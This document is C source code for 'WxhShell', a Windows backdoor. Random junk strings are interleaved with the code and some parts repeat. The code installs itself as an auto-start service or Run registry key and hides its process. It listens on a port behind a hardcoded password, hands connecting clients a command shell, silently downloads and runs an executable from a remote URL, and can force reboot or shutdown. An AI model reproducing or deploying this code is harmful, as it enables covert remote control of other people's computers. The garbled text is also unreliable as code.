+rdF0 HANDLE hProcess; [>_(q|A6+ PROCESS_BASIC_INFORMATION pbi; W+K=M*^D;c &*)tqQeQf HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); BTd'bD~EA if(NULL == hInst ) return 0; LK:|~UV? Vj?.' ( g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Qn*c<: g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); T.`%1S NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); U5H o? `< !^"hYp` if (!NtQueryInformationProcess) return 0; ^jmnE.8R /
V{w< hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());
0U/:Tpyr if(!hProcess) return 0; *iC
t4J ^~`8 - TE if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; P^h2w%6' 7L-%5:1% CloseHandle(hProcess); x6) RXWjFv~/ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); e&0B4wVAQ if(hProcess==NULL) return 0; zw5~|< Le3S;SY& HMODULE hMod; Aoo'i char procName[255]; WX\%FJ unsigned long cbNeeded; )Y
*?VqZn *V"cu if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {YGz=5 ^ $Jr`4s CloseHandle(hProcess); 'Yd%Tb|* Q^p@ 1I if(strstr(procName,"services")) return 1; // 以服务启动 +tV(8h4 UxS;m4 return 0; // 注册表启动 o"]eAQ } $&e(V6A@ xY~
DMcO? // 主模块 BO9Z"|" int StartWxhshell(LPSTR lpCmdLine) f$Ap\(. { mJsYY,b8 SOCKET wsl; Iiy:<c BOOL val=TRUE; ynDx'Q* N' int port=0; ,F-tvSc\Q struct sockaddr_in door; ?xf;#J+{8 wl{p,[] if(wscfg.ws_autoins) Install(); eh`V#%S= 3,F/i+@ port=atoi(lpCmdLine); mm{U5 ,jt098W if(port<=0) port=wscfg.ws_port; TAAsV#l eLC&f} WSADATA data; <#s-hQ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; O?2<rbx n7MS{` if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; c'|MC[^A setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); MV/~Rmd. door.sin_family = AF_INET; cUm9s>^)/ door.sin_addr.s_addr = inet_addr("127.0.0.1"); Fhsmpe~ door.sin_port = htons(port);
yCkm| |v1 K@ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { iP!Y4F closesocket(wsl); G/8xS= return 1; ?X9
=4Z~w } 3=<iGX"z #P4dx'vm if(listen(wsl,2) == INVALID_SOCKET) { 52["+1g\ closesocket(wsl); hL3,/^;E , return 1; 5{u6qc4FW } FSQ&J|O Wxhshell(wsl); 2s4=%l WSACleanup(); DdQf%W8u u:S@'z> return 0; XOeh![eMX hv"toszj\ } 6>L. )V __V]HcP; // 以NT服务方式启动 ^2AF:(E VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) D}061~zb$ { eFnsf}(Iy DWORD status = 0; k,@J& DWORD specificError = 0xfffffff; ={b
]
,|#>X>^FQQ serviceStatus.dwServiceType = SERVICE_WIN32; 2 Lamvf serviceStatus.dwCurrentState = SERVICE_START_PENDING; b$
x"&& serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; op|mRJBq; serviceStatus.dwWin32ExitCode = 0; ~4>Xi*
B serviceStatus.dwServiceSpecificExitCode = 0; &53#`WgJ serviceStatus.dwCheckPoint = 0; V-cuG. serviceStatus.dwWaitHint = 0; #pe{:f? mWusRgj+8 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Ad,r(0a LZ if (hServiceStatusHandle==0) return; qbEj\
b[ 9V66~Bf5 status = GetLastError(); Me}TW!GC if (status!=NO_ERROR) >#:/
GN? { NDOZ!`LqH serviceStatus.dwCurrentState = SERVICE_STOPPED; %)/f; T6 serviceStatus.dwCheckPoint = 0; ).]m@g:ew serviceStatus.dwWaitHint = 0; {\aSEE/' serviceStatus.dwWin32ExitCode = status; @|GeR serviceStatus.dwServiceSpecificExitCode = specificError; r$#G%FMv SetServiceStatus(hServiceStatusHandle, &serviceStatus); 46zaxcY<! return; {IMzR'PN } 0lRH
Yu Z8&C-yCC serviceStatus.dwCurrentState = SERVICE_RUNNING; w}.'Tebu serviceStatus.dwCheckPoint = 0; [Kj:~~`T serviceStatus.dwWaitHint = 0; 0v@/I< if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); AIm$in`P } jOb[h=B" nP3GI:mjL // 处理NT服务事件,比如:启动、停止 ]hj1.V+ VOID WINAPI NTServiceHandler(DWORD fdwControl) @:7gHRJ! { <nvWC/LU switch(fdwControl) ?fmt@@]T? { q`aY.dD=O case SERVICE_CONTROL_STOP: xploFw~ serviceStatus.dwWin32ExitCode = 0; O$Vm#|$sq serviceStatus.dwCurrentState = SERVICE_STOPPED; h6h1.lZ serviceStatus.dwCheckPoint = 0; W"kw>JEt serviceStatus.dwWaitHint = 0; VM]IL%AN { vs1Sh?O SetServiceStatus(hServiceStatusHandle, &serviceStatus); cY2-T#rL } N}Ks[2 return; }iSakq' case SERVICE_CONTROL_PAUSE: ,w%oSlOu serviceStatus.dwCurrentState = SERVICE_PAUSED; z9ShP&^4[ break; 8sIrG case SERVICE_CONTROL_CONTINUE: B"PHJj serviceStatus.dwCurrentState = SERVICE_RUNNING; {%_j~ break; 5(|M["KK~ case SERVICE_CONTROL_INTERROGATE: -WUYE break; ]VWfdG }; u-[t~-(a SetServiceStatus(hServiceStatusHandle, &serviceStatus); QWHy=(! } ,GX~s5S8 @E}X-r.^f // 标准应用程序主函数 #tZf>zrs int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) A'(7VJ { *yaX:,'\$ .gN$N=7< // 获取操作系统版本 _GO+fB/Q1 OsIsNt=GetOsVer(); u`pROd/ R5 GetModuleFileName(NULL,ExeFile,MAX_PATH); 8A:^K:Q e5ru:#P.p // 从命令行安装 *>'2$me= if(strpbrk(lpCmdLine,"iI")) Install(); cHL]y0> sJb)HQ,7x // 下载执行文件 DAnb.0 if(wscfg.ws_downexe) { 8}, <e>q if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) T;4`wB8@ WinExec(wscfg.ws_filenam,SW_HIDE); kz0=GKic } 5Vi]~dZu7 ;:Z=%R$wJ if(!OsIsNt) { "Py Wo // 如果时win9x,隐藏进程并且设置为注册表启动 Blbq3y+Sq HideProc(); nnE_OK!}T StartWxhshell(lpCmdLine); JT|u;Z*n } A*;?U2 else cVay=5]. if(StartFromService()) -@L's{J{M // 以服务方式启动 "]m*816' StartServiceCtrlDispatcher(DispatchTable); sc8DY!|OYN else CofH}- // 普通方式启动 ns#~}2"d StartWxhshell(lpCmdLine); _Dj<Eu_ 23-t$y] return 0; &G/|lv>j } u<]mv XocsSs
Znta#G0 ^IGyuj0]jG =========================================== %X9b=%'+ NQC3!=pQ}Y j`R<90~/ l>~`;W h}|6VJ@. 1s`)yu^`v " 8lOI\- w,Z"W;| #include <stdio.h> 6<Z*Tvk{C #include <string.h> PXosFz~ #include <windows.h> k(EMp1[:nN #include <winsock2.h> \&iil =H8! #include <winsvc.h> 2vc\= #include <urlmon.h> j
u*fyt A)hhnb0o #pragma comment (lib, "Ws2_32.lib") !7*(!as #pragma comment (lib, "urlmon.lib") efjO8J[uk- .Z=Ce! #define MAX_USER 100 // 最大客户端连接数 8geek$FY x #define BUF_SOCK 200 // sock buffer )'5<6Q.] #define KEY_BUFF 255 // 输入 buffer %X4-a%512 dk_,YU'z #define REBOOT 0 // 重启 $;Vc@mYGW; #define SHUTDOWN 1 // 关机 i3Hz"Qs; [q-;/ed #define DEF_PORT 5000 // 监听端口 dTN$y\
*bA+]&dj\ #define REG_LEN 16 // 注册表键长度 u#+RUtM #define SVC_LEN 80 // NT服务名长度 mX&xn2}qZ" P8wy*JvT // 从dll定义API r<*O typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); lq>pH5x typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {l2N& typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); f=ac I|w typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); TMJ9~"IO )N(9pnyZH // wxhshell配置信息 LJGJ|P struct WSCFG { pI7Ssvi^ int ws_port; // 监听端口 X9fNGM1 char ws_passstr[REG_LEN]; // 口令 ,+tPRkwA^ int ws_autoins; // 安装标记, 1=yes 0=no 3J%V%}mD char ws_regname[REG_LEN]; // 注册表键名 u#`+[AC` char ws_svcname[REG_LEN]; // 服务名 ljPq2v ] char ws_svcdisp[SVC_LEN]; // 服务显示名 6&89~W{
char ws_svcdesc[SVC_LEN]; // 服务描述信息 yl-fbYH char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /_V'DJV int ws_downexe; // 下载执行标记, 1=yes 0=no dv;9QCc' char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" P:sAqvH6 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +z\\VD XGfzEld2" }; D_d|=i Q|Pbt(44 // default Wxhshell configuration n]+. struct WSCFG wscfg={DEF_PORT, sVu k "xuhuanlingzhe", .H8mRvd? 1, %}C9 "Wxhshell", |q;Al
z{ "Wxhshell", rA,CQypo "WxhShell Service", Xv0F:1 "Wrsky Windows CmdShell Service", D?e"U_ "Please Input Your Password: ", \a\= gn 1, JO2xT#V "http://www.wrsky.com/wxhshell.exe", `=79i$,,t
"Wxhshell.exe" q
IM }; Dl%?OG< 9x=3W?K:, // 消息定义模块 S'o ]=& char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .Y1bY := char *msg_ws_prompt="\n\r? for help\n\r#>"; 2FGx _Y char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3gpo
% char *msg_ws_ext="\n\rExit."; c45tmul char *msg_ws_end="\n\rQuit."; sAi&A9"* char *msg_ws_boot="\n\rReboot...";
="\*h( char *msg_ws_poff="\n\rShutdown..."; W;q+, Io char *msg_ws_down="\n\rSave to "; Q',m{;;
EX:{EmaT char *msg_ws_err="\n\rErr!"; gN?0m4[$i char *msg_ws_ok="\n\rOK!"; lEHwZ<je /xySwSmh3 char ExeFile[MAX_PATH]; 3 > |uF int nUser = 0; 3 jF|Ic HANDLE handles[MAX_USER]; -#aZF2z int OsIsNt; 'M8aW!~ Wr5 Q5s)c SERVICE_STATUS serviceStatus; hK(tPl$ SERVICE_STATUS_HANDLE hServiceStatusHandle; x=-0 zV %[`a // 函数声明 3_W{T@T int Install(void); K\P!a@>1 int Uninstall(void); ~:[!Uyp0b int DownloadFile(char *sURL, SOCKET wsh); Seda } int Boot(int flag); Uky9zGa void HideProc(void); $n-Af0tK int GetOsVer(void); 0z`/Hn int Wxhshell(SOCKET wsl); nUc;/ void TalkWithClient(void *cs); VD$Eb int CmdShell(SOCKET sock); mV?&%>*(f int StartFromService(void); /s|{by`we4 int StartWxhshell(LPSTR lpCmdLine); :y#T9R9 R"+wih VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +K^h!d] VOID WINAPI NTServiceHandler( DWORD fdwControl ); Nb;H`<JP 3]/.\(2 // 数据结构和表定义 +TN^NE SERVICE_TABLE_ENTRY DispatchTable[] = tPU-1by$ { bLbR IY"l {wscfg.ws_svcname, NTServiceMain}, 6tn+m54_ {NULL, NULL} t`5j4bdG }; vXdZmYrC X|b2c+I // 自我安装 9t K>gwb int Install(void) KE.Dt { NZk&JND char svExeFile[MAX_PATH]; ?x3Jv<G0* HKEY key; :.uk$jx strcpy(svExeFile,ExeFile); |]W2EV ,b #?Mj$ZB // 如果是win9x系统,修改注册表设为自启动 y+U83a[L* if(!OsIsNt) { m`6VKp{YD if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Jdj?I'XtY RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5HKW"=5Cf RegCloseKey(key); uS<_4A;sD, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { XE rUS80 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *1^$.Q& RegCloseKey(key); #BY`h~&T return 0; #@qN8J}R } OeElMRU" } !aNh! } ONX8}Ob~ else { +e P.s_t por/^=e{Y // 如果是NT以上系统,安装为系统服务 qX#MV>1 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9+qOP>m if (schSCManager!=0) >jx.R { 3fr ^ T SC_HANDLE schService = CreateService OgCy4_a[f ( wLJ]&puwm schSCManager, :%X Ls, wscfg.ws_svcname, }Qr6l/2 wscfg.ws_svcdisp, x83a!9 SERVICE_ALL_ACCESS, [}2Z/
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2.lgT|p SERVICE_AUTO_START, 5`-UMz<] SERVICE_ERROR_NORMAL, {0v*xL_O^ svExeFile,
bwiD$ NULL, O1P=#l iYX NULL, v]"L]/" NULL, KE}H&1PjU NULL, #sB,1" NULL 9&Ne+MY^% ); 7J*N_8?2 if (schService!=0) ?+2b(2&MXE { PmX2[7 CloseServiceHandle(schService); sL^yB CloseServiceHandle(schSCManager); <
<Y}~N strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
CN& strcat(svExeFile,wscfg.ws_svcname); *>q/WLR if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { sZhMa> RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^3]UZ@ RegCloseKey(key); @;Opx." return 0; ?jO 5 9n } <l,o&p,>|c } u0o'K9.r CloseServiceHandle(schSCManager); NwlU%{7W6 } -YGbfd<wq } /rc%O*R 1(#;&:$`i return 1; d8o53a] } -db75= M+P$/Wk // 自我卸载 ^%>kO, int Uninstall(void) x/fX`y|(}* { ;_?MX/w|& HKEY key; !>$4]FkV uJU*")\V if(!OsIsNt) { ,!#ccv+Vm% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q<(YP.k RegDeleteValue(key,wscfg.ws_regname); e Y$qV} RegCloseKey(key); Uh6 '$0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1B=>_3_ RegDeleteValue(key,wscfg.ws_regname); ,*svtw:2') RegCloseKey(key); !Ng=Yk>3 return 0; ~P*4V]L^ } /t%u"dP"T~ } O9M{ ). } 0s#Kp49- else { 9N8I
ip]w M8&}j SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); MCTsi:V>+ if (schSCManager!=0) NH A 5e< { b1#dz] SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); e [h8}F if (schService!=0) UUe#{6Jx_ { c=O,;lWFqm if(DeleteService(schService)!=0) { S>Yj@L CloseServiceHandle(schService); 9xI GV! CloseServiceHandle(schSCManager); zYER return 0; lSwcL } ,:Z^$ CloseServiceHandle(schService); O[^%{' } G6 0S|d CloseServiceHandle(schSCManager); fxcc<h4 } CY:d`4 } YZf6| dihjpI_ return 1; Uz7oL8 } %r\n%$@_ 21X`h3+= // 从指定url下载文件 eV^d6T$ int DownloadFile(char *sURL, SOCKET wsh) 4BL;FO { N2r/ho}8 HRESULT hr; uN*KHE+h char seps[]= "/"; ;bzX%f?|G char *token; 2F{hg% char *file; gV;H6" char myURL[MAX_PATH]; Uu
s. char myFILE[MAX_PATH]; /^SAC%PD !|hoYU>@2L strcpy(myURL,sURL); LkruL_E> token=strtok(myURL,seps); &)wiKh"$ while(token!=NULL) I=)hWC/ { 3g'S\G@ file=token; %8~Q!=*Iq token=strtok(NULL,seps); x&sI=5l } S{t +>/ ?t&kb7 GetCurrentDirectory(MAX_PATH,myFILE); B Xms;[ strcat(myFILE, "\\"); hg.#DxRi{ strcat(myFILE, file); ^nJyo:DO; send(wsh,myFILE,strlen(myFILE),0); {PP9$>4`l send(wsh,"...",3,0); Yf,K#' h: hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >^Q&nkB"B if(hr==S_OK) O|IG_RL] return 0; BF*kb2"GZ6 else \uqjs+ return 1; tsOrt3 MB^~%uZ2K } C&LBr| (/d5UIM{& // 系统电源模块 94uNI8 int Boot(int flag) }"vW4 { vy2Q g
HANDLE hToken; V]OmfPve TOKEN_PRIVILEGES tkp; -Xu.1S z<sg0K8z63 if(OsIsNt) { QZp6YSz.4 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); : JzI>/ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -C-?`R tkp.PrivilegeCount = 1; n9w9JXp;! tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `+'rib5 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); x9/H/' if(flag==REBOOT) { kE>0M9EdH if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) o./.Q9e7 return 0; +y7;81ND } 6*4's5>?D else { 0]KraLu"N if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) yzw mT return 0; ]xC#rwHUC } Ac2(O6 } q5h*`7f else { `g8E1-]l if(flag==REBOOT) { f0<hE2 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2]GdD* return 0; 1_fZm+oW! } CTt vyr else { 6R-&-4 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) YBYZ=,"d return 0; K8n4oz#z } >EL)X
#e } hT$~ygQ 0iULCK return 1; ^4r73ak/): } I}e3zf> xq-17HKs // win9x进程隐藏模块 =PRx?q`d void HideProc(void) *D o/+[Ae { ur
:i)~wXn ?88[|;b3 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .)}@J5P) if ( hKernel != NULL ) /V3=KY`_J { F:*W5xX pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); sK{l 9 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +iRq8aS_
FreeLibrary(hKernel); >AoK/(yL. } L;gO;vO Cm$.<CV return; 4&8Gr0C } mj|)nOd CkJCi // 获取操作系统版本 7.DtdyM int GetOsVer(void) ,Jc m+Wb { ^w ] / OSVERSIONINFO winfo; lb'GXd % winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); vN2u34 GetVersionEx(&winfo); d(g^M1m if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) F+ E|r6'i return 1; *f,DhT/P else iX0iRC6f return 0; u6`=x$& } xs\!$*R fc/ &X // 客户端句柄模块 ? uYu`Ojzr int Wxhshell(SOCKET wsl) .(pN5JI* { Q{k
At% SOCKET wsh; 8G5Da|\ struct sockaddr_in client; zBO(`=| DWORD myID; [((;+B J=pztASt while(nUser<MAX_USER) i)#s.6.D> { LL|7rS|o int nSize=sizeof(client); ,J`'Y+7W wsh=accept(wsl,(struct sockaddr *)&client,&nSize); AuR$g7z if(wsh==INVALID_SOCKET) return 1; d
Le-nF .{;Y'Zc14S handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); RI68%ZoL if(handles[nUser]==0) sXd8rj:o closesocket(wsh); rr#K"SP else ;raN nUser++; B||;' } .VTy[|o WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Lm@vXgMD "V&+7"Q return 0; `"qP } 0IQ'3_ {.yStB.T // 关闭 socket (`? y2n)~W void CloseIt(SOCKET wsh) /y^7p9Z` { F:6SPY
y closesocket(wsh); =]-j;#'& nUser--; bT
2a40ul ExitThread(0); FQ>`{%> } N}\[Gr q>w)"Dd // 客户端请求句柄 cBo{/Tn: void TalkWithClient(void *cs) }K8/-d6 { !QDQ_ #
O4gg SOCKET wsh=(SOCKET)cs; JHf char pwd[SVC_LEN]; *D'$"@w3 char cmd[KEY_BUFF]; q~o,WZG char chr[1]; +za8=`2o int i,j; U^qt6$bK S1/`th while (nUser < MAX_USER) { w[6J
` : Sq?a0!S if(wscfg.ws_passstr) { 0%)i<a!_Z if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @iEA:?9uX //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4A9{=~nwT //ZeroMemory(pwd,KEY_BUFF); ?|:BuHkT i=0; O@?kT;B while(i<SVC_LEN) { e@{i _z[#}d;k // 设置超时 RxMH!^ fd_set FdRead; ORu2V#Z[ struct timeval TimeOut; v\`9;QV5 FD_ZERO(&FdRead); p-+K4 FD_SET(wsh,&FdRead); 8EVgoJ. TimeOut.tv_sec=8; BL 3gKx.' TimeOut.tv_usec=0;
:ujCr. int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); TNQP"9[? if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); s}pIk.4ot! D1nq2GwS if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w,R[C\#J pwd=chr[0]; P;pl,~ if(chr[0]==0xd || chr[0]==0xa) { 2< hAa9y pwd=0; 3BpZX`l*p break; D~o$GW% } N41 R i++; /O]t R } D5~n/.B" /x{s5P3 // 如果是非法用户,关闭 socket Py`N4y~ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); P,sjo u^ } GWvH[0 WW~+?g5 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Z@Ae$ '9H send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b=3H _,</1~. while(1) { nNXgW *'"^NSJ ZeroMemory(cmd,KEY_BUFF); |AC1\)2tT '_b.\_s-d // 自动支持客户端 telnet标准 %7O?JI[ j=0; uIU5.\"s while(j<KEY_BUFF) { ki>~H!zB if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #2iD'>bQ cmd[j]=chr[0]; wp7!>%s{ if(chr[0]==0xa || chr[0]==0xd) { xUfbW;;]UU cmd[j]=0; V]EtwA break; C;(t/zh } 42L
@w j++; eSW{Cb } fu$R7 M@W[Bz // 下载文件 _w*}\~`=^ if(strstr(cmd,"http://")) { I5h[%T send(wsh,msg_ws_down,strlen(msg_ws_down),0); [%&ZPJT%i if(DownloadFile(cmd,wsh)) % >;#9"O4 send(wsh,msg_ws_err,strlen(msg_ws_err),0); XR!us/U`a else Zf5`XslA. send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2c?qV } pStk/te,XK else { Ma|qHg I}2P>)K switch(cmd[0]) { P9T5L<5 =vT<EW}[ // 帮助 ;Eec5w1 case '?': { Su 5>$ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Pl-5ncb\ break; )J?{+3 } 0kDK~iT // 安装 -7!&@wuQ case 'i': { #Km:}= if(Install()) {647|j;e send(wsh,msg_ws_err,strlen(msg_ws_err),0); &F}"Z(B<wK else ^uJU}v: send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s}j1"@ break; 7OWbAu; } =+w*gDr // 卸载 ;L&TxO>#J case 'r': { E\m5%bK\B if(Uninstall()) M,}|tsL send(wsh,msg_ws_err,strlen(msg_ws_err),0); c]B$i*t else -YD+(c`l send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lO:.OZu break; jp' K%P }
lWm' // 显示 wxhshell 所在路径 Nm):9YQ/ case 'p': {
rxO2QQ%V char svExeFile[MAX_PATH]; fSDi-I strcpy(svExeFile,"\n\r"); ~:km]?lz0 strcat(svExeFile,ExeFile); SE7W F18A send(wsh,svExeFile,strlen(svExeFile),0); ASPy break; h d~$WV0# } 6!^[];%xN // 重启 2&Nb case 'b': { $BmmNn# send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !.1%}4@Q] if(Boot(REBOOT)) NA,CZ send(wsh,msg_ws_err,strlen(msg_ws_err),0); c#N<"cy> else { _lW+>xQ closesocket(wsh); !EQ@#qW/ ExitThread(0); 3sCFHn#c } 5X.e*; break; fJZp?e" } S(aZ4{a@ // 关机 t:LcNlN| case 'd': { VOsqJJ3 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `]Bxn)b( if(Boot(SHUTDOWN)) D|qk_2R% send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z`3ufXPNlO else { 1{_A:<VBl closesocket(wsh); \Ep0J $ #o ExitThread(0); #}^-C&~ } #E0t?:t5bk break; b%f[p/no } kX:tc // 获取shell n]+W 3[i case 's': { kqG0%WtQ CmdShell(wsh); *c[2C closesocket(wsh); ":3 VJ(eY ExitThread(0); drwgjLC+ break; 3\;27&~gV } W(fr<<hL // 退出 l8K5k:XCU3 case 'x': { 27ckdyQx send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); X}P$emr7 CloseIt(wsh); KNgH|5Pb break; EliTFxp } Cc?TSZ8[ // 离开 clI*7j.4E# case 'q': { -)!>M>=s send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ch
)dLPz@ closesocket(wsh); pS 4&w8s WSACleanup(); +MK6zf exit(1); c^8o~K>w84 break; TST4Vy3 } >Q,zNs } e7u^mJ } ZV}X'qGaq +D#Z n!P // 提示信息 {J/I-=CmML if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zq5'i!s !0 } z<gu00U7 }
t4Z
O?EB8RB return; 4\.V } $V6^G*Q *s}|Hy // shell模块句柄 o
A*G int CmdShell(SOCKET sock) g=}v>[k E { Rd+P,PO STARTUPINFO si; +a=
0\lpOy ZeroMemory(&si,sizeof(si)); #n\C
| si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; y'ja< 1I> si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; wxLXh6|6%_ PROCESS_INFORMATION ProcessInfo; *p ? e.%nd char cmdline[]="cmd"; $3=:E36K CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); H]<]^Zmjy return 0; (UNtRz'=; } }wSi~^* 64Gi8|P // 自身启动模式 vAP{;Q0i int StartFromService(void) 0JRD { T)7TyE|"2g typedef struct z1 i &Ge { (B>Zaro# DWORD ExitStatus; 0@1:M
DWORD PebBaseAddress; F)$K DWORD AffinityMask; wN37zPnV~ DWORD BasePriority; 5TBI<K ULONG UniqueProcessId; :&'{mJW*{t ULONG InheritedFromUniqueProcessId; u"$a>S_ } PROCESS_BASIC_INFORMATION; 0BkV/v1Uc PM$Ee #62R PROCNTQSIP NtQueryInformationProcess; &ntBU]<q \o3"~\|6C static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; BX;5wKfA static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2^exL h &A!KJ. HANDLE hProcess; BH0!6Oq PROCESS_BASIC_INFORMATION pbi; jj\ [7 O* {gf>* HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;Hm'6TR! if(NULL == hInst ) return 0; rqCa 2 wCZO9sU:6= g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); QL"gWr`R g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); D_|B2gdZY NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); hQJWKAf,/ a!Yb1[ if (!NtQueryInformationProcess) return 0; nN`"z3o AZFWuPJo hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |U[y_Y\a if(!hProcess) return 0; #_Ea[q7v ^o<:;{ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; SA6hbcYk FyD.>ot7M CloseHandle(hProcess); @%i>XAe#0 (0*v*kYdL+ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); nYv#4* if(hProcess==NULL) return 0; ]>:^d%n,} ;np_%?is HMODULE hMod; i8V0Ty4~N char procName[255]; ]S8LY.Az5 unsigned long cbNeeded; 